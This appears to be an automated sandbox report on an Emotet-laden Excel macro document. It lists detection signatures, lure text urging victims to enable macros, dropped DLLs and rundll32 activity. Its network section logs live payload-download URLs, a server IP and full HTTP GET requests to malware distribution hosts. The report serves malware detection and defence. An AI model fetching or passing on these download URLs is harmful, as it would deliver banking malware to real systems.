Windows Analysis Report DOC-0212.xlsm

Overview

General Information

Sample Name: DOC-0212.xlsm
Analysis ID: 532596
MD5: aa4f296ed678b18394a365861777241c
SHA1: cedfd0d995958b8550f36d037c732854e23c68c5
SHA256: 20d3da22e72baf1a0e865621f9bb0af55998db0c4c534e847f30a084113eec8c
Tags: xlsm
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0 Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Document exploit detected (drops PE files)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Yara detected Emotet
Sigma detected: Emotet RunDLL32 Process Creation
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Office process drops PE file
Sigma detected: Microsoft Office Product Spawning Windows Shell
Drops PE files to the user root directory
Hides that the sample has been downloaded from the Internet (zone.identifier)
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Uses code obfuscation techniques (call, push, ret)
Creates files inside the system directory
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Potential document exploit detected (performs DNS queries)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains functionality for execution timing, often used to detect debuggers
Document misses a certain OLE stream usually present in this Microsoft Office document type
Abnormal high CPU Usage
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Yara detected Xls With Macro 4.0
Drops PE files to the user directory
Excel documents contains an embedded macro which executes code when the document is opened
Potential document exploit detected (performs HTTP gets)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://www.duoyuhudong.cn/wp-content/we8xi/vvC: Avira URL Cloud: Label: malware
Source: http://www.duoyuhudong.cn/wp-content/we8xi/ Avira URL Cloud: Label: malware
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_6E450927 FindFirstFileExW, 3_2_6E450927

Software Vulnerabilities:

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Document exploit detected (drops PE files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: VZZdgPFp2xiOJtfpv[1].dll.0.dr Jump to dropped file
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\VZZdgPFp2xiOJtfpv[1].dll Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\SysWOW64\rundll32.exe
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: sadabahar.com.np
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 194.233.67.242:80
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 194.233.67.242:80

Networking:

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Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /wp-includes/pUMqITCt83a/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sadabahar.com.npConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/we8xi/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.duoyuhudong.cnConnection: Keep-Alive
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.25content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://sadabahar.com.np/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encoding,User-Agentdate: Thu, 02 Dec 2021 13:31:35 GMTserver: LiteSpeedData Raw: 31 30 38 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 5b ff 73 db 36 b2 ff d9 fe 2b 60 7a 6a 8b 2d 49 51 92 65 59 94 e5 de 35 4d e7 fd d0 5e 6f 9a 76 de bc 49 f2 3c 10 09 51 48 28 80 0f 80 64 fb 14 fd ef 37 0b 90 14 bf c9 56 9c a4 b9 99 d7 78 1c 93 c0 62 b1 58 2c b0 9f 5d 80 d7 27 3f fe fa e2 f7 ff f9 e7 4b b4 50 cb e4 e6 f8 1a fe a0 04 b3 78 6a 11 e6 fe f1 ca ba 39 3e be 5e 10 1c dd 1c 1f 5d 2f 89 c2 28 5c 60 21 89 9a 5a 7f fc fe 93 7b 65 15 e5 0c 2f c9 d4 5a 53 72 97 72 a1 2c 14 72 a6 08 53 53 eb 8e 46 6a 31 8d c8 9a 86 c4 d5 2f 0e a2 8c 2a 8a 13 57 86 38 21 d3 9e 83 96 94 d1 e5 6a 99 17 68 b6 09 65 ef 91 20 c9 d4 4a 05 9f d3 84 58 68 21 c8 7c 6a 2d 94 4a 83 6e 37 5e a6 b1 c7 45 dc bd 9f b3 6e af 07 6d 8e ae 15 55 09 b9 f9 27 8e 09 62 5c a1 39 5f b1 08 9d 9d 5e f5 7b bd 09 7a 85 23 3c c3 0b 2c d0 2f ab 44 51 f4 82 33 a9 c4 2a 54 94 b3 eb ae 69 7a 6c 86 a9 87 73 2e f8 8c 2b 79 5e 0c e6 7c 89 ef 5d ba c4 31 71 53 41 60 b0 41 82 45 4c ce 51 f7 e6 f8 ba 10 f8 3c 62 12 08 e6 44 85 8b 73 23 f5 79 b7 3b e7 4c 49 2f e6 3c 4e 08 4e a9 f4 42 be 3c ac a5 f4 ee 60 a4 35 62 0b 27 8a 08 86 15 b1 90 7a 48 c9 d4 c2 69 9a d0 10 c3 78 ba 42 ca ef ee 97 89 85 f4 b8 a6 d6 63 83 47 67 02 ff df 8a 4f d0 4f 84 44 65 35 cb a0 db 95 b9 d6 40 5e 8f a5 dd 39 21 51 d7 aa 0e f9 0b c8 f2 82 2f 97 84 29 79 98 50 61 46 5d 92 ee e8 e8 5a 86 82 a6 2a d3 8e 22 f7 aa fb 0e af b1 29 d5 06 73 74 47 59 c4 ef bc db bb 94 2c f9 3b fa 8a 28 45 59 2c d1 14 6d ac 19 96 e4 0f 91 58 81 36 39 19 bc e9 be e9 66 53 f1 a6 ab cd 40 be e9 86 5c 90 37 5d dd f8 4d b7 37 f0 7a 9e ff a6 3b ea df 8f fa 6f ba 96 63 91 7b 65 05 96 97 b2 d8 72 2c b9 8e 9f c7 4f ae 63 cd 4d ae e3 97 86 a1 5c 6b 86 7c 25 42 62 05 1b 2b e4 2c c4 4a 8b 91 c9 6b c4 ad 4d de 9b ee 5d ea 52 16 26 ab 88 c8 37 dd 77 52 17 e8 66 ae 20 09 c1 92 78 4b ca bc 77 f2 fb 35 11 d3 a1 77 e5 f5 ad ed 76 72 7c 74 74 74 32 5f 31 bd 56 3a c4 c1 8e b2 37 6b 2c 10 73 84 c3 1d 3a c5 5e 28 08 56 e4 65 42 60 d6 3a 56 88 d9 1a 4b cb 76 d2 29 f5 62 a2 5e c0 86 70 af ce ce ca 6f 1d ab 1f 59 f6 24 67 8c 64 87 e4 8c f1 f4 95 12 94 c5 de 5c f0 e5 8b 05 16 2f 78 44 26 a9 17 26 04 8b df 48 a8 3a be e3 3b d4 33 5b 0a f5 16 84 c6 0b 65 3b a9 37 a7 49 f2 3b b9 57 1d ec c1 82 78 e8 a8 05 95 0e b1 1d df f1 ed 09 99 52 4f f1 1f b1 c2 7f fc f6 73 c7 9e 08 a2 56 82 a1 e7 33 56 86 b1 43 a6 d3 2a eb 6d 31 ac b0 43 8c b6 54 53 4f 99 31 da 13 e5 49 11 4e 89 a3 bc 88 cc 89 98 2a cf 2c ea ba d9 3a 18 d4 99 e9 59 fe f0 f0 3b 8e ff 81 97 a4 63 c1 3e 6d d9 af fd b7 30 6c c2 a2 17 0b 9a 44 1d 65 6f e7 5c 74 f8 f4 ef 42 e0 87
Source: EXCEL.EXE, 00000000.00000002.753340803.00000000058F9000.00000004.00000001.sdmp String found in binary or memory: /moc.nideknil.wwwwww.linkedin.coma/3 equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000002.752639955.0000000004E90000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.555654956.0000000001A80000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694286014.0000000001DE0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747848667.0000000002170000.00000002.00020000.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: EXCEL.EXE, 00000000.00000002.753340803.00000000058F9000.00000004.00000001.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: EXCEL.EXE, 00000000.00000002.752639955.0000000004E90000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.555654956.0000000001A80000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694286014.0000000001DE0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747848667.0000000002170000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: EXCEL.EXE, 00000000.00000002.752639955.0000000004E90000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.555654956.0000000001A80000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694286014.0000000001DE0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747848667.0000000002170000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: EXCEL.EXE, 00000000.00000002.752793824.0000000005077000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.556804981.0000000001C67000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694499141.0000000001FC7000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.748132714.0000000002357000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: EXCEL.EXE, 00000000.00000002.752793824.0000000005077000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.556804981.0000000001C67000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694499141.0000000001FC7000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.748132714.0000000002357000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.c
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.co
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.n
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/w
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/wp-i
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/wp-inc
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/wp-inclu
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/wp-include%http://sadabahar.com.np/wp-includes/p
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/wp-includes/pUM)http://sadabahar.com.np/wp-includes/pUMqI
Source: EXCEL.EXE, 00000000.00000002.754587986.0000000006CCA000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/wp-includes/pUMqITC-http://sadabahar.com.np/wp-includes/pUMqITCt8/http://sad
Source: EXCEL.EXE, 00000000.00000002.753115851.0000000005830000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/wp-includes/pUMqITCt83a/A
Source: EXCEL.EXE, 00000000.00000002.753115851.0000000005830000.00000004.00000001.sdmp String found in binary or memory: http://sadabahar.com.np/wp-includes/pUMqITCt83a/J
Source: EXCEL.EXE, 00000000.00000002.755705830.00000000076B6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.755761363.00000000077A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.755597197.0000000007156000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.755747208.0000000007776000.00000004.00000001.sdmp String found in binary or memory: http://schemas.open
Source: EXCEL.EXE, 00000000.00000002.755705830.00000000076B6000.00000004.00000001.sdmp String found in binary or memory: http://schemas.openformatrg/drawml/2006/spreadsheetD
Source: EXCEL.EXE, 00000000.00000002.755597197.0000000007156000.00000004.00000001.sdmp String found in binary or memory: http://schemas.openformatrg/package/2006/content-t
Source: EXCEL.EXE, 00000000.00000002.755761363.00000000077A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.755747208.0000000007776000.00000004.00000001.sdmp String found in binary or memory: http://schemas.openformatrg/package/2006/r
Source: rundll32.exe, 00000006.00000002.694740490.00000000027B0000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: EXCEL.EXE, 00000000.00000002.752793824.0000000005077000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.556804981.0000000001C67000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694499141.0000000001FC7000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.748132714.0000000002357000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: EXCEL.EXE, 00000000.00000002.752793824.0000000005077000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.556804981.0000000001C67000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694499141.0000000001FC7000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.748132714.0000000002357000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000006.00000002.694740490.00000000027B0000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: EXCEL.EXE, 00000000.00000002.753115851.0000000005830000.00000004.00000001.sdmp String found in binary or memory: http://www.duoyuhudong.cn/wp-content/we8xi/
Source: EXCEL.EXE, 00000000.00000002.747914705.000000000046C000.00000004.00000020.sdmp String found in binary or memory: http://www.duoyuhudong.cn/wp-content/we8xi/vvC:
Source: EXCEL.EXE, 00000000.00000002.752639955.0000000004E90000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.555654956.0000000001A80000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694286014.0000000001DE0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747848667.0000000002170000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: EXCEL.EXE, 00000000.00000002.752793824.0000000005077000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.556804981.0000000001C67000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694499141.0000000001FC7000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.748132714.0000000002357000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: EXCEL.EXE, 00000000.00000002.752639955.0000000004E90000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.555654956.0000000001A80000.00000002.00020000.sdmp, rundll32.exe, 00000006.00000002.694286014.0000000001DE0000.00000002.00020000.sdmp, rundll32.exe, 00000007.00000002.747848667.0000000002170000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000007.00000002.747848667.0000000002170000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E8FA61E5.png Jump to behavior
Source: unknown DNS traffic detected: queries for: sadabahar.com.np
Source: global traffic HTTP traffic detected: GET /wp-includes/pUMqITCt83a/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sadabahar.com.npConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-content/we8xi/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.duoyuhudong.cnConnection: Keep-Alive

E-Banking Fraud:

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Yara detected Emotet
Source: Yara match File source: 3.2.rundll32.exe.2ab960.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.2ab960.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1ec0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.rundll32.exe.1ec0000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.558061657.0000000001EC0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.692050034.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.555217971.000000000029D000.00000004.00000020.sdmp, type: MEMORY

System Summary:

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Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" FROM YELLOW BAR ABOVE 5 Once you have enabled editing. please click "Enable Content
Source: Screenshot number: 4 Screenshot OCR: protected documents. 3 4 CLICK "ENABLE EDITING" FROM YELLOW BAR ABOVE 5 Once you have enabled edi
Source: Screenshot number: 4 Screenshot OCR: Enable Content" button 6 7 8 9 ,, G' 11 12 13 14 15 16 17 18 ^
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" FROM YELLOW BAR ABOVE 5 Once you have enabled editing. please click "Enable Content
Source: Screenshot number: 8 Screenshot OCR: protected documents. 3 4 CLICK "ENABLE EDITING" FROM YELLOW BAR ABOVE 5 Once you have enabled edi
Source: Screenshot number: 8 Screenshot OCR: Enable Content" button 6 7 8 9 10 11 12 13 14 15 16 17 18 ^
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" FROM YELLOW BAR ABOVE Once you have enabled editing, please click "Enable Content"
Source: Document image extraction number: 0 Screenshot OCR: protected documents. CLICK "ENABLE EDITING" FROM YELLOW BAR ABOVE Once you have enabled editing, p
Source: Document image extraction number: 0 Screenshot OCR: Enable Content" button
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" FROM YELLOW BAR ABOVE Once you have enabled editing, please click "Enable Content"
Source: Document image extraction number: 1 Screenshot OCR: protected documents. CLICK "ENABLE EDITING" FROM YELLOW BAR ABOVE Once you have enabled editing, p
Source: Document image extraction number: 1 Screenshot OCR: Enable Content" button
Office process drops PE file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\besta.ocx Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\VZZdgPFp2xiOJtfpv[1].dll Jump to dropped file
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Hisdtuljbeshqtad\ Jump to behavior
Detected potential crypto function
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Code function: 0_2_025E6753 0_2_025E6753
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Code function: 0_2_025E6743 0_2_025E6743
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Code function: 0_2_025E6340 0_2_025E6340
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Code function: 0_2_025E66F3 0_2_025E66F3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Code function: 0_2_025E66E8 0_2_025E66E8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EE1291 3_2_01EE1291
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDEA55 3_2_01EDEA55
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDEDED 3_2_01EDEDED
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC51EC 3_2_01EC51EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECA3E7 3_2_01ECA3E7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC19C0 3_2_01EC19C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC75D2 3_2_01EC75D2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDDDA5 3_2_01EDDDA5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED0BA4 3_2_01ED0BA4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDE5A7 3_2_01EDE5A7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED89A2 3_2_01ED89A2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC43BE 3_2_01EC43BE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC59BF 3_2_01EC59BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDD7BE 3_2_01EDD7BE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED85B8 3_2_01ED85B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDE3B5 3_2_01EDE3B5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC358B 3_2_01EC358B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDDB87 3_2_01EDDB87
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC8D80 3_2_01EC8D80
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC4B81 3_2_01EC4B81
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED3782 3_2_01ED3782
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC7795 3_2_01EC7795
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED1591 3_2_01ED1591
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECB191 3_2_01ECB191
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECCF6E 3_2_01ECCF6E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECBD61 3_2_01ECBD61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EE0370 3_2_01EE0370
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED6540 3_2_01ED6540
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECA92F 3_2_01ECA92F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED9124 3_2_01ED9124
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECF73B 3_2_01ECF73B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDCD35 3_2_01EDCD35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED3D0C 3_2_01ED3D0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDBF0C 3_2_01EDBF0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED590E 3_2_01ED590E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED970A 3_2_01ED970A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDE10A 3_2_01EDE10A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC4D1E 3_2_01EC4D1E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECCB13 3_2_01ECCB13
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED56E9 3_2_01ED56E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECC0EA 3_2_01ECC0EA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC40E2 3_2_01EC40E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED40FE 3_2_01ED40FE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC46FA 3_2_01EC46FA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC1EFB 3_2_01EC1EFB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED62F5 3_2_01ED62F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED4CF5 3_2_01ED4CF5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC84F0 3_2_01EC84F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EE20CE 3_2_01EE20CE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED10CD 3_2_01ED10CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC92C1 3_2_01EC92C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC2CC2 3_2_01EC2CC2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EE1CDB 3_2_01EE1CDB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC90D4 3_2_01EC90D4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED28D5 3_2_01ED28D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED52D1 3_2_01ED52D1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECF48A 3_2_01ECF48A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECA083 3_2_01ECA083
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECFE9D 3_2_01ECFE9D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDE899 3_2_01EDE899
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDA29B 3_2_01EDA29B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED009A 3_2_01ED009A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED0E97 3_2_01ED0E97
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDCE90 3_2_01EDCE90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED0A93 3_2_01ED0A93
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC3A6C 3_2_01EC3A6C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC6869 3_2_01EC6869
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECB464 3_2_01ECB464
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECEE60 3_2_01ECEE60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC387F 3_2_01EC387F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECFA78 3_2_01ECFA78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EDB677 3_2_01EDB677
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01EC544C 3_2_01EC544C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ECAA4E 3_2_01ECAA4E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED7445 3_2_01ED7445
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_01ED3043 3_2_01ED3043
